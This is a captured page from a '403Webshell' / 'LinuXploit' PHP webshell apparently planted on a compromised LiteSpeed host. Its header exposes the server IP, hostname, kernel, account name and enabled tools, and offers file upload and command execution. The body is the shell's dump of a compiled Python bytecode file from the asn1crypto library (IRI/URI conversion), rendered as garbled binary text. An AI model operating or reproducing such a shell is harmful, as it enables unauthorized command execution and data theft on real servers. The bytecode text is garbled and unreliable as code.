403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.144.230.138
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/asn1crypto/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/asn1crypto/__pycache__/_iri.cpython-37.pyc
B

<O�X�!�@s�dZddlmZmZmZmZddlmZddlZddl	Z	ddl
Z
ddlmZddl
mZmZmZmZmZe
jdkr�dd	lmZmZdd
lmZmZnddlmZmZmZmZdd
�Zdd�Zdd�Ze� de�ddd�Z!ddd�Z"dS)z�
Functions to convert unicode IRIs into ASCII byte string URIs and back. Exports
the following items:

 - iri_to_uri()
 - uri_to_iri()
�)�unicode_literals�division�absolute_import�print_function)�idnaN�)�unwrap)�byte_cls�str_cls�	type_name�
bytes_to_list�	int_types)�)�urlsplit�
urlunsplit)�quote�unquote)r�unquote_to_bytesrrcCst|t�sttdt|����d}tjdkr�|�d�s�|�d�s�d}t�	d|�}|rp|�
d�}d|t|�d�}t|�}|r�||dd�}t
|dd	��}nt|�}|dkr�t
|j�}|j}|dk	r�|�d
�}t
|jdd�}t
|jdd�}|j}|dk	�r
t|��d
�}d}	|dk	�r:|	|7}	|�r2|	d|7}	|	d7}	|dk	�rL|	|7}	|dk	�r�|dk�of|dk}
|dk�ox|dk}|
�s�|�s�|	d|7}	t
|jdd�}t
|jdd�}
t
|jdd�}|
dk�r�|dk�r�|dk�r�d}|dk�r�d}t||	||
|f�}t|t��r|�d�}|S)z�
    Normalizes and encodes a unicode IRI into an ASCII byte string URI

    :param value:
        A unicode string of an IRI

    :return:
        A byte string of the ASCII-encoded URI
    z@
            value must be a unicode string, not %s
            N)��zhttp://zhttps://z	^[^:]*://rr���rz!$&'()*+,;=)�safe�ascii��:�@shttps80shttpss443z/!$&'()*+,;=@:z/?!$&'()*+,;=@:�/��latin1)�
isinstancer
�	TypeErrorrr�sys�version_info�
startswith�re�match�group�lenr�	_urlquote�scheme�hostname�encode�username�password�port�path�query�fragmentr)�valuer)Zreal_prefixZprefix_match�parsedr*r,r-r.�netlocZdefault_httpZ
default_httpsr/r0r1�output�r6�@/opt/alt/python37/lib/python3.7/site-packages/asn1crypto/_iri.py�
iri_to_uri%sd









r8cCs(t|t�sttdt|����t|�}|j}|dk	r<|�d�}t|j	ddgd�}t|j
ddgd�}|j}|rt|�d�}|j}|r�t|t
�s�|�d�}d}|dk	r�||7}|r�|d|7}|d7}|dk	r�||7}|dk	r�|dt|�7}t|jd	gd
d�}t|jdd
gd
d�}	t|j�}
t||||	|
f�S)z�
    Converts an ASCII URI byte string into a unicode IRI

    :param value:
        An ASCII-encoded byte string of the URI

    :return:
        A unicode string of the IRI
    z=
            value must be a byte string, not %s
            Nr�:�@)�remaprr�/T)r;�preserve�&�=)rr	r rrrr)�decode�_urlunquoter,r-r*r.r
r
r/r0r1r)r2r3r)r,r-r*r.r4r/r0r1r6r6r7�
uri_to_irius<




rBcCs4t|j|j|j��}dd�|D�}d�|�|jfS)a>
    Error handler for decoding UTF-8 parts of a URI into an IRI. Leaves byte
    sequences encoded in %XX format, but as part of a unicode string.

    :param exc:
        The UnicodeDecodeError exception

    :return:
        A 2-element tuple of (replacement unicode string, integer index to
        resume at)
    cSsg|]}d|�qS)z%%%02xr6)�.0�numr6r6r7�
<listcomp>�sz,_iri_utf8_errors_handler.<locals>.<listcomp>r)r�object�start�end�join)�excZ
bytes_as_ints�replacementsr6r6r7�_iri_utf8_errors_handler�s
rL�iriutf8rcs�|dks|dkrdSg�t�d|�rX�fdd�}t�d||�}�fdd�}t�d||�}t|�d	���d	�d
�}t|t�s�|�d�}t��dkr��fd
d�}t�d||�}|S)a
    Quotes a unicode string for use in a URL

    :param string:
        A unicode string

    :param safe:
        A unicode string of character to not encode

    :return:
        None (if string is None) or an ASCII byte string of the quoted string
    Nrz%[0-9a-fA-F]{2}csDt|�d��}|�dd�}x$t��D]}|�|dt|��}q$W|S)Nrzutf-8rMz%%%02x)rr&r@�list�replace�ord)r%�byte_stringZunicode_stringZ	safe_char)rr6r7�
_try_unescape�s
z _urlquote.<locals>._try_unescapez(?:%[0-9a-fA-F]{2})+cs��|�d��d��dS)Nrr�)�appendr&r+)r%)�escapesr6r7�_extract_escape�sz"_urlquote.<locals>._extract_escapezutf-8)rrrcs
��d�S)Nr)�pop)�_)rUr6r7�_return_escape�sz!_urlquote.<locals>._return_escapes%00)r$�search�sub�urlquoter+rr	r')�stringrrRrVr5rYr6)rUrr7r(�s

r(c	Cs�|dkr|S|dkrdS|rfdddddg}i}x6|D].}|�d	�}|||<|�|�d
�|�d
��}q4Wt|�}|r�x,|D]$}|�|�d
�dt|��d
��}qxW|�dd
�}|r�x |��D]\}}|�||�}q�W|S)a
    Unquotes a URI portion from a byte string into unicode using UTF-8

    :param byte_string:
        A byte string of the data to unquote

    :param remap:
        A list of characters (as unicode) that should be re-mapped to a
        %XX encoding. This is used when characters are not valid in part of a
        URL.

    :param preserve:
        A bool - indicates that the chars to be remapped if they occur in
        non-hex form, should be preserved. E.g. / for URL path.

    :return:
        A unicode string
    Nrr�����rrz%%%02xzutf-8rM)rWrOr+rrPr@�items)	rQr;r=rKZpreserve_unmap�char�replacementr5�originalr6r6r7rA�s(


$rA)r)NN)#�__doc__�
__future__rrrr�	encodingsr�codecsr$r!Z_errorsr�_typesr	r
rrr
r"�urlparserr�urllibrr\rr�urllib.parser8rBrL�register_errorr(rAr6r6r6r7�<module>	s"
P4
4

Youez - 2016 - github.com/yon3zu
LinuXploit